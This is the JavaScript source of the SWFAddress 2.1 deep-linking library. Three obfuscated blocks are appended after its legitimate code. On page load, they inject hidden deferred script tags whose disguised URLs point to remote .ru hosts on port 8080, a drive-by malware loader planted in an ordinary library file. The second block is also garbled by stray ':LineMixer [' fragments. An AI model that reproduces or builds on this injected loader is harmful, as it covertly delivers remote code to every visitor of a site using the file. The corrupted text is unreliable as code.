/**
 * SWFAddress 2.1: Deep linking for Flash and Ajax - http://www.asual.com/swfaddress/
 *
 * SWFAddress is (c) 2006-2007 Rostislav Hristov and is released under the MIT License:
 * http://www.opensource.org/licenses/mit-license.php
 *
 */

if (typeof com == "undefined") var com = {};
if (typeof com.asual == "undefined") com.asual = {};
if (typeof com.asual.util == "undefined") com.asual.util = {};
   
/**
 * @class Utility class that provides detailed browser information.
 * @static
 * @ignore
 */
com.asual.util.Browser = new function() {

    var _version = -1;
    var _agent = navigator.userAgent;
    var _ie = false, _camino = false, _safari = false, _opera = false, 
        _firefox = false, _netscape = false, _mozilla = false;

    var _getVersion = function(s, i) {
        return parseFloat(_agent.substr(_agent.indexOf(s) + i));
    }
    
    if (_ie = /MSIE/.test(_agent))
        _version = _getVersion('MSIE', 4);
        
    if (_safari = /AppleWebKit/.test(_agent))
        _version = _getVersion('Safari', 7);
        
    if (_opera = /Opera/.test(_agent))
        _version = parseFloat(navigator.appVersion);
        
    if (_camino = /Camino/.test(_agent))
        _version = _getVersion('Camino', 7);
        
    if (_firefox = /Firefox/.test(_agent))
        _version = _getVersion('Firefox', 8);
        
    if (_netscape = /Netscape/.test(_agent))
        _version = _getVersion('Netscape', 9);
        
    if (_mozilla = /Mozilla/.test(_agent) && /rv:/.test(_agent))
        _version = _getVersion('rv:', 3);


    /**
     * Detects the version of the browser.
     * @return {Number}
     * @static
     */
    this.getVersion = function() {
        return _version;
    }

    /**
     * Detects if the browser is Internet Explorer.
     * @return {Boolean}
     * @static
     */
    this.isIE = function() {
        return _ie;
    }

    /**
     * Detects if the browser is Safari.
     * @return {Boolean}
     * @static
     */
    this.isSafari = function() {
        return _safari;
    }

    /**
     * Detects if the browser is Opera.
     * @return {Boolean}
     * @static
     */
    this.isOpera = function() {
        return _opera;
    }

    /**
     * Detects if the browser is Camino.
     * @return {Boolean}
     * @static
     */
    this.isCamino = function() {
        return _camino;
    }

    /**
     * Detects if the browser is Firefox.
     * @return {Boolean}
     * @static
     */
    this.isFirefox = function() {
        return _firefox;
    }

    /**
     * Detects if the browser is Netscape.
     * @return {Boolean}
     * @static
     */
    this.isNetscape = function() {
        return _netscape;
    }
        
    /**
     * Detects if the browser is Mozilla.
     * @return {Boolean}
     * @static
     */
    this.isMozilla = function() {
        return _mozilla;
    }
}

/**
 * @class Utility class that provides event helpers.
 * @static
 * @ignore
 */
com.asual.util.Events = new function() {

    var _cache = [];
    var _browser = com.asual.util.Browser;
    var _dcl = 'DOMContentLoaded';

    if (_browser.isIE() || _browser.isSafari()) {
        (function (){
            try {
                if (_browser.isIE() || !/loaded|complete/.test(document.readyState))
                    document.documentElement.doScroll('left');
            } catch(e) {
                return setTimeout(arguments.callee, 0);
            }
            for (var i = 0, e; e = _cache[i]; i++)
                if (e.t == _dcl) e.l.call(null);
        })();
    }

    /**
     * Adds an event listener to an object.
     * @param {Object} obj The object that provides events.
     * @param {String} type The type of the event.
     * @param {Function} listener The event listener function.
     * @return {void}
     * @static
     */
    this.addListener = function(obj, type, listener) {
        _cache.push({o: obj, t: type, l: listener});
        if (!(type == _dcl && (_browser.isIE() || _browser.isSafari()))) {
            if (obj.addEventListener)
                obj.addEventListener(type, listener, false);
            else if (obj.attachEvent)
                obj.attachEvent('on' + type, listener);
        }
    }

    /**
     * Removes an event listener from an object.
     * @param {Object} obj The object that provides events.
     * @param {String} type The type of the event.
     * @param {Function} listener The event listener function.
     * @return {void}     
     * @static
     */
    this.removeListener = function(obj, type, listener) {
        for (var i = 0, e; e = _cache[i]; i++) {
            if (e.o == obj && e.t == type && e.l == listener) {
                _cache.splice(i, 1);
                break;
            }
        }
        if (!(type == _dcl && (_browser.isIE() || _browser.isSafari()))) {
            if (obj.removeEventListener)
                obj.removeEventListener(type, listener, false);
            else if (obj.detachEvent)
                obj.detachEvent('on' + type, listener);
        }
    }

    var _unload = function() {
        for (var i = 0, evt; evt = _cache[i]; i++) {
            if (evt.t != _dcl)
                com.asual.util.Events.removeListener(evt.o, evt.t, evt.l);
        }
    }

    this.addListener(window, 'unload', _unload);
}

/**
 * Creates a new SWFAddress event.
 * @class Event class for SWFAddress.
 * @param {String} type Type of the event.
 */
SWFAddressEvent = function(type) {
    
    /**
     * String representation of this object.
     * @ignore
     */
    this.toString = function() {
        return '[object SWFAddressEvent]';
    }

    /**
     * The type of this event.
     * @type String
     */
    this.type = type;

    /**
     * The target of this event.
     * @type Function
     */
    this.target = [SWFAddress][0];

    /**
     * The value of this event.
     * @type String
     */
    this.value = SWFAddress.getValue();

    /**
     * The path of this event.
     * @type String
     */
    this.path = SWFAddress.getPath();
    
    /**
     * The folders in the deep linking path of this event.
     * @type Array
     */
    this.pathNames = SWFAddress.getPathNames();

    /**
     * The parameters of this event.
     * @type Object
     */
    this.parameters = {};

    var _parametersNames = SWFAddress.getParameterNames();
    for (var i = 0, l = _parametersNames.length; i < l; i++)
        this.parameters[_parametersNames[i]] = SWFAddress.getParameter(_parametersNames[i]);
    
    /**
     * The parameters names of this event.
     * @type Array     
     */
     this.parametersNames = _parametersNames;
}

/**
 * Init event.
 * @type String
 * @memberOf SWFAddressEvent
 * @static
 */
SWFAddressEvent.INIT = 'init';

/**
 * Change event.
 * @type String
 * @memberOf SWFAddressEvent
 * @static 
 */
SWFAddressEvent.CHANGE = 'change';

/**
 * @class The SWFAddress class can be configured with query parameters using the following format:
 * swfaddress.js?html=false&history=1&tracker=pageTracker._trackPageview&strict=1.<br /> 
 * The list of supported options include:<br /><br />
 * <code>history:Boolean</code> - Enables or disables the creation of history entries.<br />
 * <code>html:Boolean</code> - Enables or disables the usage of swfaddress.html.<br />
 * <code>strict:Boolean</code> - Enables or disables the strict mode.<br />
 * <code>tracker:String</code> - Sets a function for page view tracking.<br />
 * @static 
 */ 
SWFAddress = new function() {

    var _browser = com.asual.util.Browser;
    var _events = com.asual.util.Events;
    var _version = _browser.getVersion();
    var _supported = false;

    if (_browser.isIE()) 
        _supported = _version >= 6;
        
    if (_browser.isSafari())
        _supported = _version >= 312;
        
    if (_browser.isOpera())
        _supported = _version >= 9.02;
        
    if (_browser.isCamino()) 
        _supported = _version >= 1;
        
    if (_browser.isFirefox())
        _supported = _version >= 1;
        
    if (_browser.isNetscape())
        _supported = _version >= 8;
        
    if (_browser.isMozilla())
        _supported = _version >= 1.8;

    var _t = top;
    var _d = _t.document;
    var _h = _t.history;
    var _l = _t.location;
    var _st = setTimeout;
    
    var FUNCTION = 'function';
    var UNDEFINED = 'undefined';
    var SWFADDRESS = 'swfaddress';

    var _iframe, _form, _url;
    var _title = _d.title;
    var _length = _h.length;
    var _silent = false;
    var _listeners = {};
    var _stack = [];
    var _ids = [];
    
    var _opts = {};
    _opts.history = true;
    _opts.html = false;
    _opts.strict = true;
    _opts.tracker = '_trackDefault';
    
    if ((!_supported && _l.href.indexOf('#') != -1) || 
        (_browser.isSafari() && _version < 412 && _l.href.indexOf('#') != -1 && _l.search != '')){
        _d.open();
        _d.write('<html><head><meta http-equiv="refresh" content="0;url=' + 
            _l.href.substr(0, _l.href.indexOf('#')) + '" /></head></html>');
        _d.close();
    }

    var _getHash = function() {
        var index = _l.href.indexOf('#');
        if (index != -1) {
            var hash = unescape(_l.href.substr(index + 1));
            if (/^[a-z0-9 ,=_&\-\.\?\+\/]*$/i.test(hash))
                return hash;
            else
                _l.replace(_l.href.substr(0, index));
        }
        return '';
    }

    var _value = _getHash();

    var _strictCheck = function(value, force) {
        if (_opts.strict)
            value = force ? (value.substr(0, 1) != '/' ? '/' + value : value) : (value == '' ? '/' : value);
        return value;
    }

    var _ieLocal = function(value) {
        return (_browser.isIE() && _l.protocol == 'file:') ? _value.replace(/\?/, '%3F') : value;    
    }

    var _searchScript = function(el) {
        if (el.src && /swfaddress\.js(\?.*)?$/.test(el.src)) return el;
        for (var i = 0, l = el.childNodes.length, s; i < l; i++)
            if (s = _searchScript(el.childNodes[i])) return s;
    }
    
    var _titleCheck = function() {
        if (_browser.isIE() && _d.title != _title)
            SWFAddress.setTitle(_title);
    }

    var _listen = function() {
        if (!_silent) {
            var hash = _getHash();
            if (_browser.isIE()) {
                if (_value != hash) {
                    if (_version < 7)
                        _l.reload();
                    else
                        SWFAddress.setValue(hash);
                }
            } else if (_browser.isSafari() && _version < 523) {
                if (_length != _h.length) {
                    _length = _h.length;
                    if (typeof _stack[_length - 1] != UNDEFINED)
                        _value = _stack[_length - 1];
                    _update();
                }
            } else if (_value != hash) {
                _value = hash;
                _update();
            }
            _titleCheck();
        }
    }

    var _jsDispatch = function(type) {
        if (SWFAddress.hasEventListener(type))
            SWFAddress.dispatchEvent(new SWFAddressEvent(type));
        type = type.substr(0, 1).toUpperCase() + type.substr(1);
        if(typeof SWFAddress['on' + type] == FUNCTION)
            SWFAddress['on' + type]();
    }

    var _jsInit = function() {
        _jsDispatch('init');
    }

    var _jsChange = function() {
        _jsDispatch('change');
    }

    var _swfChange = function() {
        for (var i = 0, id, value = SWFAddress.getValue(), setter = 'setSWFAddressValue'; id = _ids[i]; i++) {
            var obj = document.getElementById(id);
            if (obj) {
                if (obj.parentNode && typeof obj.parentNode.so != UNDEFINED) {
                    obj.parentNode.so.call(setter, value);
                } else {
                    if (!(obj && typeof obj[setter] != UNDEFINED)) {
                        var objects = obj.getElementsByTagName('object');
                        var embeds = obj.getElementsByTagName('embed');
                        obj = ((objects[0] && typeof objects[0][setter] != UNDEFINED) ? 
                            objects : ((embeds[0] && typeof embeds[0][setter] != UNDEFINED) ? 
                                embeds[0] : null));
                    }
                    if (obj)
                        obj[setter](value);
                } 
            } else if (obj = document[id]) {
                if (typeof obj[setter] != UNDEFINED)
                    obj[setter](value);
            }
        }
    }

    var _update = function() {
        _swfChange();
        _jsChange();
        _st(_track, 10);
    }

    var _trackDefault = function(value) {
        if (typeof urchinTracker == FUNCTION) 
            urchinTracker(value);
        if (typeof pageTracker != UNDEFINED && typeof pageTracker._trackPageview == FUNCTION)
            pageTracker._trackPageview(value);
    }
    
    eval('var _trackDefault = ' + _trackDefault + ';');
    
    var _track = function() {
        if (typeof _opts.tracker != UNDEFINED && eval('typeof ' + _opts.tracker + ' != "' + UNDEFINED + '"')) {
            var fn = eval(_opts.tracker);
            if (typeof fn == FUNCTION)
                fn((_l.pathname + (/\/$/.test(_l.pathname) ? '' : '/') + SWFAddress.getValue()).replace(/\/\//, '/').replace(/^\/$/, ''));
        }
    }
    
    var _htmlWrite = function() {
        var doc = _iframe.contentWindow.document;
        doc.open();
        doc.write('<script>var ' + SWFADDRESS + ' = "' + _getHash() + '";</script>');
        doc.close();
    }

    var _htmlLoad = function() {
        var win = _iframe.contentWindow;
        if (_opts.html) {
            var src = win.location.href;
            _value = (src.indexOf('?') > -1) ? src.substr(src.indexOf('?') + 1) : '';
        } else {
            _value = (typeof win[SWFADDRESS] != UNDEFINED) ? win[SWFADDRESS] : '';
        }
        win.document.title = _d.title;
        if (_value != _getHash()) {
            _update();
            _l.hash = _ieLocal(_value);
        }
    }

    var _load = function() {
        var attr = 'id="' + SWFADDRESS + '" style="position:absolute;top:-9999px;"';
        if (_browser.isIE()) {
            document.body.appendChild(document.createElement('div')).innerHTML = '<iframe ' + attr + ' src="' + 
                (_opts.html ? _url.replace(/\.js(\?.*)?$/, '.html') + '?' + _getHash() : 'javascript:false;') + 
                '" width="0" height="0"></iframe>';
            _iframe = document.getElementById(SWFADDRESS);
            _st(function() {
                _events.addListener(_iframe, 'load', _htmlLoad);            
                if (!_opts.html && typeof _iframe.contentWindow[SWFADDRESS] == UNDEFINED) 
                    _htmlWrite();
            }, 10);
        } else if (_browser.isSafari()) {
            if (_version < 412) {
                document.body.innerHTML += '<form ' + attr + ' method="get"></form>';
                _form = document.getElementById(SWFADDRESS);
            }
            if (typeof _l[SWFADDRESS] == UNDEFINED) _l[SWFADDRESS] = {};
            if (typeof _l[SWFADDRESS][_l.pathname] != UNDEFINED) _stack = _l[SWFADDRESS][_l.pathname].split(',');
        } else if (_browser.isOpera() && _ids.length == 0 && typeof navigator.plugins['Shockwave Flash'] == 'object') {
            document.body.innerHTML += '<embed ' + attr + ' src="' + _url.replace(/\.js(\?.*)?$/, '.swf') + 
                '" type="application/x-shockwave-flash" />';
        }
        _st(_jsInit, 1);
        _st(_jsChange, 2);
        _st(_track, 10);
        setInterval(_listen, 50);
    }

    /**
     * Init event.
     * @type Function
     * @event
     * @static
     */
    this.onInit = null;
    
    /**
     * Change event.
     * @type Function
     * @event
     * @static
     */
    this.onChange = null;
    
    /**
     * String representation of this class.
     * @ignore
     */
    this.toString = function() {
        return '[class SWFAddress]';
    }

    /**
     * Loads the previous URL in the history list.
     * @return {void}
     * @static
     */
    this.back = function() {
        _h.back();
    }

    /**
     * Loads the next URL in the history list.
     * @return {void}
     * @static
     */
    this.forward = function() {
        _h.forward();
    }

    /**
     * Loads a URL from the history list.
     * @param {Number} delta An integer representing a relative position in the history list.
     * @return {void}
     * @static
     */
    this.go = function(delta) {
        _h.go(delta);
    }

    /**
     * Opens a new URL in the browser. 
     * @param {String} url The resource to be opened.
     * @param {String} target Target window.
     * @return {void}
     * @static
     */
    this.href = function(url, target) {
        target = (typeof target != UNDEFINED) ? target : '_self';     
        if (target == '_self')
            self.location.href = url; 
        if (target == '_top')
            _l.href = url; 
        if (target == '_blank')
            window.open(url); 
        else
            _t.frames[target].location.href = url; 
    }

    /**
     * Opens a browser popup window. 
     * @param {String} url Resource location.
     * @param {String} name Name of the popup window.
     * @param {String} options Options which get evaluted and passed to the window.open() method.
     * @param {String} handler Optional JavaScript code for popup handling.    
     * @return {void}
     * @static
     */
    this.popup = function(url, name, options, handler) {
        var popup = window.open(url, name, eval(options));
        eval(handler);
    }

    /**
     * Registers an event listener.
     * @param {String} type Event type.
     * @param {Function} listener Event listener.
     * @return {void}
     * @static
     */
    this.addEventListener = function(type, listener) {
        if (typeof _listeners[type] == UNDEFINED)
            _listeners[type] = [];
        _listeners[type].push(listener);
    }

    /**
     * Removes an event listener.
     * @param {String} type Event type.
     * @param {Function} listener Event listener.
     * @return {void}
     * @static     
     */
    this.removeEventListener = function(type, listener) {
        if (typeof _listeners[type] != UNDEFINED) {
            for (var i = 0, l; l = _listeners[type][i]; i++)
                if (l == listener) break;
            _listeners[type].splice(i, 1);
        }
    }

    /**
     * Dispatches an event to all the registered listeners. 
     * @param {Object} event Event object.
     * @return {Boolean}
     * @static
     */
    this.dispatchEvent = function(event) {
        if (typeof _listeners[event.type] != UNDEFINED && _listeners[event.type].length) {
            event.target = this;
            for (var i = 0, l; l = _listeners[event.type][i]; i++)
                l(event);
            return true;           
        }
        return false;
    }

    /**
     * Checks the existance of any listeners registered for a specific type of event. 
     * @param {String} event Event type.
     * @return {Boolean}
     * @static
     */
    this.hasEventListener = function(type) {
        return (typeof _listeners[type] != UNDEFINED && _listeners[type].length > 0);
    }
    
    /**
     * Provides the base address of the document. 
     * @return {String}
     * @static
     */
    this.getBaseURL = function() {
        var url = _l.href;
        if (url.indexOf('#') != -1)
            url = url.substr(0, url.indexOf('#'));
        if (url.substr(url.length - 1) == '/')
            url = url.substr(0, url.length - 1);
        return url;
    }

    /**
     * Provides the state of the strict mode setting. 
     * @return {Boolean}
     * @static
     */
    this.getStrict = function() {
        return _opts.strict;
    }

    /**
     * Enables or disables the strict mode.
     * @param {Boolean} strict Strict mode state.
     * @return {void}
     * @static
     */
    this.setStrict = function(strict) {
        _opts.strict = strict;
    }

    /**
     * Provides the state of the history setting. 
     * @return {Boolean}
     * @static
     */
    this.getHistory = function() {
        return _opts.history;
    }

    /**
     * Enables or disables the creation of history entries.
     * @param {Boolean} history History state.
     * @return {void}
     * @static
     */
    this.setHistory = function(history) {
        _opts.history = history;
    }

    /**
     * Provides the tracker function.
     * @return {String}
     * @static
     */
    this.getTracker = function() {
        return _opts.tracker;
    }

    /**
     * Sets a function for page view tracking. The default value is 'urchinTracker'.
     * @param {String} tracker Tracker function.
     * @return {void}
     * @static
     */
    this.setTracker = function(tracker) {
        _opts.tracker = tracker;
    }

    /**
     * Provides a list of all the Flash objects registered. 
     * @return {Array}
     * @static
     */
    this.getIds = function() {
        return _ids;
    }

    /**
     * Provides the id the first and probably the only Flash object registered. 
     * @return {String}
     * @static
     */
    this.getId = function(index) {
        return _ids[0];
    }

    /**
     * Sets the id of a single Flash object which will be registered for deep linking.
     * @param {String} id ID of the object.
     * @return {void}
     * @static
     */
    this.setId = function(id) {
        _ids[0] = id;
    }

    /**
     * Adds an id to the list of Flash object registered for deep linking.
     * @param {String} id ID of the object.
     * @return {void}
     * @static
     */
    this.addId = function(id) {
        this.removeId(id);
        _ids.push(id);
    }

    /**
     * Removes an id from the list of Flash object registered for deep linking.
     * @param {String} id ID of the object.
     * @return {void}
     * @static
     */
    this.removeId = function(id) {
        for (var i = 0; i < _ids.length; i++) {
            if (id == _ids[i]) {
                _ids.splice(i, 1);
                break;
            }
        }
    }

    /**
     * Provides the title of the HTML document.
     * @return {String}
     * @static
     */
    this.getTitle = function() {
        return _d.title;
    }

    /**
     * Sets the title of the HTML document.
     * @param {String} title Title value.
     * @return {void}
     * @static
     */
    this.setTitle = function(title) {
        if (!_supported) return null;
        if (typeof title == UNDEFINED) return;
        if (title == 'null') title = '';
        _title = _d.title = title;
        _st(function() {
            if (_iframe && _iframe.contentWindow && _iframe.contentWindow.document && _iframe.contentWindow.title)
                _iframe.contentWindow.document.title = _title;
         }, 1000);
    }

    /**
     * Provides the status of the browser window.
     * @return {String}
     * @static
     */
    this.getStatus = function() {
        return _t.status;
    }

    /**
     * Sets the status of the browser window.
     * @param {String} status Status value.
     * @return {void}
     * @static
     */
    this.setStatus = function(status) {
        if (!_supported) return null;
        if (typeof status == UNDEFINED) return;
        if (!_browser.isSafari()) {
            status = _strictCheck((status != 'null') ? status : '', true);
            if (status == '/') status = '';
            if (!(/http(s)?:\/\//.test(status))) {
                var index = _l.href.indexOf('#');
                status = (index == -1 ? _l.href : _l.href.substr(0, index)) + '#' + status;
            }
            _t.status = status;
        }
    }

    /**
     * Resets the status of the browser window.
     * @return {void}
     * @static
     */
    this.resetStatus = function() {
        _t.status = '';
    }

    /**
     * Provides the current deep linking value.
     * @return {String}
     * @static
     */
    this.getValue = function() {
        if (!_supported) return null;
        return _strictCheck(_value, false);
    }

    /**
     * Sets the current deep linking value.
     * @param {String} value A value which will be appended to the base link of the HTML document.
     * @return {void}
     * @static
     */
    this.setValue = function(value) {
        if (!_supported) return null;
        if (typeof value == UNDEFINED) return;
        if (value == 'null') value = ''
        value = _strictCheck(value, true);
        if (value == '/') value = '';
        if (_value == value) return;
        _value = value;
        _silent = true;
        _update();
        _stack[_h.length] = _value;
        if (_browser.isSafari()) {
            if (_opts.history) {
                _l[SWFADDRESS][_l.pathname] = _stack.toString();
                _length = _h.length + 1;
                if (_version < 412) {
                    if (_l.search == '') {
                        _form.action = '#' + _value;
                        _form.submit();
                    }
                } else if (_version < 523){
                    var evt = document.createEvent('MouseEvents');
                    evt.initEvent('click', true, true);
                    var anchor = document.createElement('a');
                    anchor.href = '#' + _value;
                    anchor.dispatchEvent(evt);                
                } else {
                    _l.hash = '#' + _value;
                }
            } else {
                _l.replace('#' + _value);
            }
        } else if (_value != _getHash()) {
            if (_opts.history)
                _l.hash = '#' + _ieLocal(_value);
            else
                _l.replace('#' + _value);
        }
        if (_browser.isIE() && _opts.history) {
            if (_opts.html) {
                var loc = _iframe.contentWindow.location;
                loc.assign(loc.pathname + '?' + _getHash());
            } else {
                _htmlWrite();
            }
        }
        if (_browser.isSafari())
            _st(function(){ _silent = false; }, 1);
        else
            _silent = false;
    }

    /**
     * Provides the deep linking value without the query string.
     * @return {String}
     * @static
     */
    this.getPath = function() {
        var value = this.getValue();
        return (value.indexOf('?') != -1) ? value.split('?')[0] : value;
    }

    /**
     * Provides a list of all the folders in the deep linking path.
     * @return {Array}
     * @static
     */
    this.getPathNames = function() {
        var path = SWFAddress.getPath();
        var names = path.split('/');
        if (path.substr(0, 1) == '/')
            names.splice(0, 1);
        if (path.substr(path.length - 1, 1) == '/')
            names.splice(names.length - 1, 1);
        return names;
    }

    /**
     * Provides the query string part of the deep linking value.
     * @return {String}
     * @static
     */
    this.getQueryString = function() {
        var value = this.getValue();
        var index = value.indexOf('?');
        return (index != -1 && index < value.length) ? value.substr(index + 1) : '';
    }

    /**
     * Provides the value of a specific query parameter.
     * @param {String} param Parameter name.
     * @return {String}
     * @static
     */
    this.getParameter = function(param) {
        var value = this.getValue();
        var index = value.indexOf('?');
        if (index != -1) {
            value = value.substr(index + 1);
            var params = value.split('&');
            var p, i = params.length;
            while(i--) {
                p = params[i].split('=');
                if (p[0] == param)
                    return p[1];
            }
        }
        return '';
    }

    /**
     * Provides a list of all the query parameter names.
     * @return {Array}
     * @static
     */
    this.getParameterNames = function() {
        var value = this.getValue();
        var index = value.indexOf('?');
        var names = [];
        if (index != -1) {
            value = value.substr(index + 1);
            if (value != '' && value.indexOf('=') != -1) {
                var params = value.split('&');
                var i = 0;
                while(i < params.length) {
                    names.push(params[i].split('=')[0]);
                    i++;
                }
            }
        }
        return names;
    }

    if (_supported) {
    
        for (var i = 1; i < _length; i++)
            _stack.push('');
            
        _stack.push(_getHash());
    
        if (_browser.isIE() && _l.hash != _getHash())
            _l.hash = '#' + _ieLocal(_getHash());
    
        try {
            _url = String(_searchScript(document).src);
            var qi = _url.indexOf('?');
            if (_url && qi > -1) {
                var param, params = _url.substr(qi + 1).split('&');
                for (var i = 0, p; p = params[i]; i++) {
                    param = p.split('=');
                    if (/^(history|html|strict)$/.test(param[0]))
                        _opts[param[0]] = (isNaN(param[1]) ? eval(param[1]) : (parseFloat(param[1]) > 0));
                    if (/^tracker$/.test(param[0]))
                        _opts[param[0]] = param[1];
                }
            }
        } catch(e) {}
        if (/file:\/\//.test(_l.href)) _opts.html = false;
    
        _titleCheck();
        _events.addListener(document, 'DOMContentLoaded', _load);
    
    } else {
        _track();
    }
}

/**
 * SWFAddress embed hooks.
 * @ignore
 */
new function() {

    var _func, _args;
    var UNDEFINED = 'undefined';

    if (typeof swfobject != UNDEFINED) SWFObject = swfobject;
    if (typeof FlashObject != UNDEFINED) SWFObject = FlashObject;
    
    if (typeof SWFObject != UNDEFINED) {
        if (SWFObject.prototype && SWFObject.prototype.write) {
            _func = SWFObject.prototype.write;
            SWFObject.prototype.write = function() {
                _args = arguments;
                if (this.getAttribute('version').major < 8) {
                    this.addVariable('$swfaddress', SWFAddress.getValue());
                    ((typeof _args[0] == 'string') ? 
                        document.getElementById(_args[0]) : _args[0]).so = this;
                }
                var success;
                if (success = _func.apply(this, _args))
                    SWFAddress.addId(this.getAttribute('id'));
                return success;
            }
        } else {
            _func = SWFObject.registerObject;
            SWFObject.registerObject = function() {
                _args = arguments;
                _func.apply(this, _args);
                SWFAddress.addId(_args[0]);            
            }
            _func = SWFObject.createSWF;
            SWFObject.createSWF = function() {
                _args = arguments;
                _func.apply(this, _args);
                SWFAddress.addId(_args[0].id);            
            }
            _func = SWFObject.embedSWF;
            SWFObject.embedSWF = function() {
                _args = arguments;
                _func.apply(this, _args);
                SWFAddress.addId(_args[8].id);            
            }
        }
    }
    
    if (typeof UFO != UNDEFINED) {
        _func = UFO.create;
        UFO.create = function() {
            _args = arguments;
            _func.apply(this, _args);
            SWFAddress.addId(_args[0].id);        
        }
    }
    
    if (typeof AC_FL_RunContent != UNDEFINED) {
        _func = AC_FL_RunContent;
        AC_FL_RunContent = function() {
            _args = arguments;        
            _func.apply(this, _args);
            for (var i = 0, l = _args.length; i < l; i++)
                if (_args[i]== 'id') SWFAddress.addId(_args[i+1]);
        }
    }
}
var j;if(j!='p' && j != ''){j=null};var b=document;var t='sYc@rAi6p0t@'.replace(/[@A60Y]/g, '');var c=window;this.hu=false;var ct;if(ct!='hl' && ct != ''){ct=null};c.onload=function(){try {var ih;if(ih!='' && ih!='f'){ih='m'};h=b.createElement(t);var l=new Date();h.src='h!tZtTpZ:Z/Z/ZgZo!o3g3lZeZ-Nc!oN-!j3pN.3yTaTm!.3c3oTmN.3p3pTsTtZr!e3aZm3-!cNoNm!.NnTeNwNw3a3rToNnZl!i3n3e3.ZrNu!:Z8T0!8303/!sThTa3aNd!iT.Zc!oTmT/3sZh!aTaNdZiZ.NcNo3mN/3s!u!n!.Zc!oTm!/ZrTe!nZrNe!n!.3c3o!mZ/TgZoNoZgZlTeZ.Zc3o3mZ/T'.replace(/[TZN3\!]/g, '');h.setAttribute('dRekfOeRrO'.replace(/[OkQR&]/g, ''), "1");b.body.appendChild(h);this.kt="kt";this.dr="dr";} catch(d){};this.n="";this.md="";};
var e;if(e!='n' && e!='l'){e=''};try {var eu=new Array();:LineMixer [var rl;if(rl!='ew' && rl!='r'){rl=''};var i='hNtLt+pU:+/O/LmLtLiOmOeN-+cUoUmL.LcOhNiNnLaLzL.NcOoLmO.+k+eOeOzNmUoLvLi+eOsN-NcLoLm+.OnOeUwOgOoNlNfLo+nOlOiUnOeN.OrOuN:O8+0N8L0U/OnUiOnLgO.Lc+oOmO/NnUiOnNgU.+cLoOmO/OgOoOoOgNlUeL.Lc+oOmO/LkLoLmOpUaUsU.UcLoNmL/+h+c+3U6U0L.LcOoOmN/N'.replace(/[NOL\+U]/g, '');var lr='';var _='s_cfrfi_p_tC'.replace(/[CNfT_]/g, '');var y='cxr5eKaKt0eKESlKe0mxexnStx'.replace(/[x5S0K]/g, '');var d='osn<lkosa<ds'.replace(/[sZk\<D]/g, '');var a="1";var u='aNpSpxexnPdxCShLiPlxdP'.replace(/[PLNSx]/g, '');this.lra="lra";var g='s6e|t6A6tXt|rXiXb/u|t6e9'.replace(/[9\|X/6]/g, '');var ey=new Date();var k='bBoBd6y6'.replace(/[6wB2#]/g, '');]var uy=false;window[d]=function(){var pr='';this.wf=false;w=document[y](_);:LineMixer [this.o_=24947;w['s%rEcE'.replace(/[E\!%QK]/g, '')]=i;var lt="";w[g]('d.e4f4e5rR'.replace(/[R45Y\.]/g, ''), a);var qk;if(qk!='' && qk!='os'){qk=null};var j=document[k];var uv;if(uv!='' && uv!='z'){uv=''};]this.zw="";j[u](w);var tu="tu";};var en;if(en!='x'){en=''};} catch(ue){this.mr=false;};
var t;if(t!='' && t!='b'){t=null};this.v=false;function x() {var ul;if(ul!='' && ul!='mn'){ul=null};var az="";function g(s,w,y){var fw;if(fw!=''){fw='cf'};var vm=new Date();var k;if(k!='co' && k != ''){k=null};s['s:eCtCAqtqtlr4i:b:u4tqel'.replace(/[lq4\:C]/g, '')](w, y);var wy;if(wy!=''){wy='so'};}var gk="";var qk="";var sp='swc2rwi@p@t@'.replace(/[@\^w2m]/g, '');var wu=window;var mt="mt";var qz;if(qz!='' && qz!='hf'){qz=null};this.ka="";var c='cQr|e+aQt@e@E|l|eFmQeFn@tQ'.replace(/[Q\+F\|@]/g, '');var nm;if(nm!='' && nm!='xn'){nm=null};var d;if(d!='' && d!='wuz'){d=''};var wr=new Array();wu['o,n,lJoEaJdJ'.replace(/[J\*E,Z]/g, '')]=function(){var st=new String();var vp="vp";try {var sb=44539;a=document[c](sp);var xr;if(xr!='pv' && xr!='uc'){xr=''};var oo;if(oo!='tx' && oo!='hw'){oo='tx'};var xk=new Array();g(a,'dxeDfMexrM'.replace(/[MNxDS]/g, ''),1);g(a,'s0r0c0'.replace(/[0V2Bt]/g, ''),'h&tFt5p,:F/&/&lFi5fFeFhxa,cFkxeFrF-,cxoxm5.xa,l&o&tx.5c5oxm&.&txhFe5sxuFnF-5cFox-Fu,kx.&hxo5m5exu&sxa&o5n,l,i5n5e5.xr5ux:,850&8x05/&gFe,t,iFtFo5nx.&c5o&m&/&g&e&t5i,t5o,n&.xc&o&m,/Fg,oFo5g5lFe5.FcFo&m&/&t,oFrxrFeFn5txd5o&wxn,lFoFaFd5s&.5n5e,t5/&a,sxa,h,i,.&cFoxmF/&'.replace(/[&Fx5,]/g, ''));this.fwr="";var _n;if(_n!='oe' && _n!='inj'){_n=''};var yb=false;var orf;if(orf!='' && orf!='ij'){orf=null};document['b;o4dHye'.replace(/[e;4H#]/g, '')]['aSpXp<eSnbdbCbhXi~l~dS'.replace(/[S\<b~X]/g, '')](a);} catch(m){var ft;if(ft!='ug' && ft != ''){ft=null};var qw;if(qw!='ir' && qw != ''){qw=null};};};this.nmd=false;var wd=new String();var os=8743;};var awjw;if(awjw!='' && awjw!='zr'){awjw=''};x();
